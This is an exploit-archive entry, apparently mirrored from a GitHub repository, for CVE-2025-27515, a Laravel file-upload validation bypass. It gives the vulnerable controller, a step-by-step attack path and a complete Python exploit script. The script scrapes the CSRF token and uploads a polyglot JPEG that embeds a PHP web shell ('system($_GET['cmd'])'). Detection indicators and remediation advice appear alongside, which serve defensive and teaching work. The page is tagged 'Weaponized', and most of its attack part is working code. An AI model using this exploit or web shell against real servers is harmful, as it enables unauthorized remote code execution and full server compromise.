PoC Archive PoC Archive
Critical CVE-2025-27515 unpatched

Laravel `files.*` Wildcard Validation Bypass via Polyglot JPEG+PHP Upload (CVE-2025-27515)

by Guaxinim (joaovicdev) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-27515
Category
web
Affected product
Laravel Framework (file upload validation using files.* wildcard rules)
Affected versions
≤ 12.0.0 (per source repository)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherGuaxinim (joaovicdev)
CVE / AdvisoryCVE-2025-27515
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagslaravel, php, file-upload, validation-bypass, polyglot, jpeg, wildcard-validation, cwe-20, rce, web-shell
RelatedN/A

Affected Target

FieldValue
Software / SystemLaravel Framework (file upload validation using files.* wildcard rules)
Versions Affected≤ 12.0.0 (per source repository)
Language / PlatformPHP / Laravel 12 web application; PoC client written in Python
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-27515 is a file upload validation bypass (CWE-20: Improper Input Validation) affecting Laravel applications that validate array-based file uploads with wildcard rules such as files.*. The root cause is that Laravel’s mimes: validation rule inspects file content/extension heuristics that can be satisfied simultaneously by a single polyglot file, so an attacker can craft one file that is both a technically valid JPEG and a valid PHP script. The bundled PoC ships a minimal Laravel 12 app with an /upload endpoint using exactly this files.* + mimes:jpg,png,pdf validation pattern, and a Python exploit.py client that uploads a polyglot file (JPEG magic bytes followed by an embedded PHP payload) through the multipart files[] field. If the resulting file is stored under a web-accessible path and the server can be induced to execute .php-adjacent content (e.g. via extension confusion, .htaccess misconfiguration, or a secondary LFI/inclusion vector), the payload yields remote code execution.


Vulnerability Details

Root Cause

The vulnerable controller validates uploaded files using Laravel’s wildcard array validation with only MIME/extension-based checks, and performs no content-level sanitization or re-encoding of the accepted image:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// app/Http/Controllers/UploadController.php
public function store(Request $request)
{
    $validated = $request->validate([
        'files.*' => 'required|file|mimes:jpg,png,pdf|max:2048',
    ]);

    foreach ($request->file('files') as $file) {
        $filename = time() . '_' . $file->getClientOriginalName();
        $path = $file->storeAs('uploads', $filename, 'public');
        // ... stored as-is, original client-supplied filename preserved
    }
}

Because mimes: relies on finfo/extension detection rather than strict re-encoding of image content, a file whose first bytes form a valid JPEG header (FF D8 FF E0 ...) but which also contains a trailing <?php ... ?> payload passes validation as image/jpeg, is accepted, and is written to public storage using the attacker-controlled original filename/extension — preserving the polyglot nature of the file end-to-end.

Attack Vector

  1. Craft a polyglot file that begins with valid JPEG magic bytes/header (FF D8 FF E0 00 10 4A 46 49 46 ...) immediately followed by embedded PHP code, e.g. <?php system($_GET['cmd']); ?>.
  2. Submit the file to the Laravel upload endpoint as a files[] multipart field with a .jpg extension and image/jpeg content type, alongside a valid CSRF token scraped from the upload form.
  3. The files.* + mimes:jpg,png,pdf|max:2048 validation rule passes because the file satisfies the JPEG MIME/extension checks; Laravel stores it under storage/app/public/uploads/ with a timestamp-prefixed but still attacker-influenced filename.
  4. If the storage path is web-accessible (public/storage symlink) and the file can be made to execute as PHP — e.g. the deployment misconfigures handler mapping, a companion LFI include pulls in the “image”, or the filename/extension is manipulated further — requesting the stored file executes the embedded PHP payload server-side.

Impact

  • Arbitrary file upload leading to potential remote code execution if the uploaded polyglot is ever executed by the PHP interpreter or included by vulnerable code elsewhere in the application.
  • Bypass of intended content-type/extension allow-listing (jpg,png,pdf), undermining a common defense-in-depth control relied upon by many Laravel applications.
  • Stored web shell capability once execution is achieved, enabling command execution, lateral movement, and full server compromise.

Environment / Lab Setup

- PHP 8.2+ with Composer
- Laravel 12.x (bundled test app, ≤ 12.0.0 per the vulnerable range)
- SQLite/MySQL per .env.example (default Laravel scaffolding)
- Public storage symlink (`php artisan storage:link`) so uploads under storage/app/public are web-reachable
- Python 3 attacker/client tooling:
  pip3 install -r requirements.txt   # requests, beautifulsoup4

Proof of Concept

PoC Script

See exploit.py in this folder (targets the bundled Laravel app under app/Http/Controllers/UploadController.php, routes/web.php, and resources/views/upload.blade.php).

1
2
3
4
5
composer install
php artisan storage:link
php artisan serve
pip3 install -r requirements.txt
python3 exploit.py http://TARGET:8000

Detection & Indicators of Compromise

- Multipart POST requests to upload endpoints where the uploaded file's magic
  bytes (FF D8 FF E0 / JPEG) are immediately followed by "<?php" within the
  same file body.
- Files under storage/app/public/uploads (or any public upload directory)
  whose content contains PHP tags despite an image extension/MIME type.
- Requests to stored "image" files with unexpected query parameters (e.g.
  ?cmd=) that would only matter if the file were executed as PHP.
- Laravel validation logs / application logs showing successful files.*
  validation immediately preceding unusual outbound or file-system activity.

Signs of compromise:

  • Unexpected .jpg/.png files in public upload directories that, when opened as text, contain <?php payloads.
  • Web server access logs showing GET requests to uploaded “image” paths with ?cmd= or similar command parameters.
  • Unexplained child processes spawned by the PHP-FPM/web server user shortly after an upload request.
  • New/unauthorized files, modified permissions, or outbound connections originating from the web server process.

Remediation

ActionDetail
Primary fixUpgrade Laravel past the version(s) affected by CVE-2025-27515 (per source repository, ≤ 12.0.0); consult the official Laravel advisory/release notes for the patched release once published.
Interim mitigationDo not rely solely on mimes:/extension-based validation for uploaded files. Re-encode/re-process accepted images server-side (e.g. via Intervention Image/GD re-save) to strip any trailing non-image data, store uploads outside the web root or under randomized names with no direct execution mapping, disable PHP execution in upload directories (e.g. .htaccess/nginx location block denying .php execution), and validate file content structurally rather than trusting client-supplied MIME/extension alone.

References


Notes

Mirrored from https://github.com/joaovicdev/POC-CVE-2025-27515 on 2026-07-06. The repository includes a full Laravel 12 test application (app/, routes/, resources/, database/, config/, etc.) purpose-built to demonstrate the vulnerable files.* wildcard validation pattern, plus the working exploit.py polyglot upload client described above.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#!/usr/bin/env python3

import sys
import requests
from bs4 import BeautifulSoup
from typing import Optional


class Colors:
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    CYAN = '\033[96m'
    WHITE = '\033[97m'
    RESET = '\033[0m'
    BOLD = '\033[1m'


def print_banner():
    print(f"""
{Colors.CYAN}╔══════════════════════════════════════════════════════════╗
{Colors.BOLD}CVE-2025-27515{Colors.RESET}{Colors.CYAN} - Laravel File Upload Bypass            ║
║                                                          ║
{Colors.RED}█▀▄▀█ ▄▀█ ▀█ █▀ █▀▀ █▀▀{Colors.RESET}{Colors.CYAN}{Colors.RED}█ ▀ █ █▀█ █▄ ▄█ ██▄ █▄▄{Colors.RESET}{Colors.CYAN}║                                                          ║
{Colors.YELLOW}Polyglot JPEG+PHP → RCE{Colors.RESET}{Colors.CYAN}╚══════════════════════════════════════════════════════════╝{Colors.RESET}
""")


class CVE2025_27515_Exploit:
    def __init__(self, target_url: str):
        self.target_url = target_url.rstrip('/')
        self.upload_url = f"{self.target_url}/upload"
        self.session = requests.Session()
        self.csrf_token = None

        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
            'Accept': 'application/json, text/javascript, */*',
            'Accept-Language': 'en-US,en;q=0.9',
        })

    def log_info(self, message: str):
        print(f"[*] {message}")

    def get_csrf_token(self) -> Optional[str]:
        try:
            response = self.session.get(self.upload_url)

            if response.status_code != 200:
                return None

            soup = BeautifulSoup(response.text, 'html.parser')
            csrf_meta = soup.find('meta', {'name': 'csrf-token'})

            if csrf_meta:
                self.csrf_token = csrf_meta.get('content')
                return self.csrf_token

            csrf_input = soup.find('input', {'name': '_token'})
            if csrf_input:
                self.csrf_token = csrf_input.get('value')
                return self.csrf_token

            return None

        except Exception as e:
            return None

    def create_polyglot_file(self) -> bytes:
        return b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00<?php system($_GET['cmd']); ?>"

    def exploit_polyglot(self) -> tuple[bool, dict]:
        if not self.csrf_token:
            if not self.get_csrf_token():
                return False, {}

        try:
            file_content = self.create_polyglot_file()
            files = {'files[]': ('image.jpg', file_content, 'image/jpeg')}
            data = {'_token': self.csrf_token}

            self.log_info(f"Sending payload to {self.upload_url}...")
            response = self.session.post(self.upload_url, files=files, data=data)

            result_info = {
                'status_code': response.status_code,
                'content_length': len(response.content)
            }

            if response.status_code == 200:
                try:
                    result = response.json()
                    if result.get('success') and result.get('files'):
                        file_info = result['files'][0]
                        result_info['stored_path'] = file_info.get('stored_path')
                        result_info['url'] = f"{self.target_url}/storage/{file_info.get('stored_path').split('/')[-1]}"
                        return True, result_info
                except:
                    pass

            return False, result_info

        except Exception as e:
            return False, {'error': str(e)}

    def run(self):
        self.log_info(f"Target: {self.target_url}")
        print()

        success, result_info = self.exploit_polyglot()
        print()

        print(f"[+] Request sent!")
        print(f"    Status Code: {result_info.get('status_code', 'N/A')}")
        print(f"    Content-Length: {result_info.get('content_length', 0)} bytes")
        print()

        if success:
            print(f"UPLOAD RESULT:")
            print(f"{result_info.get('url', 'N/A')}")
            print()
            print(f"{Colors.GREEN}✓ EXPLOIT SUCCESSFUL{Colors.RESET}")
            print("=" * 60)
        else:
            print(f"{Colors.RED}✗ EXPLOIT FAILED{Colors.RESET}")
            if 'error' in result_info:
                print(f"Error: {result_info['error']}")
            print("=" * 60)

        return success


def main():
    print_banner()

    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>\n")
        print(f"Example:")
        print(f"  python3 {sys.argv[0]} http://localhost:8000\n")
        sys.exit(1)

    target_url = sys.argv[1]
    exploit = CVE2025_27515_Exploit(target_url)

    try:
        exploit.run()

    except KeyboardInterrupt:
        print(f"\n\n[!] Interrupted by user\n")
        sys.exit(1)
    except Exception as e:
        print(f"\n[✗] Fatal error: {str(e)}\n")
        sys.exit(1)


if __name__ == '__main__':
    main()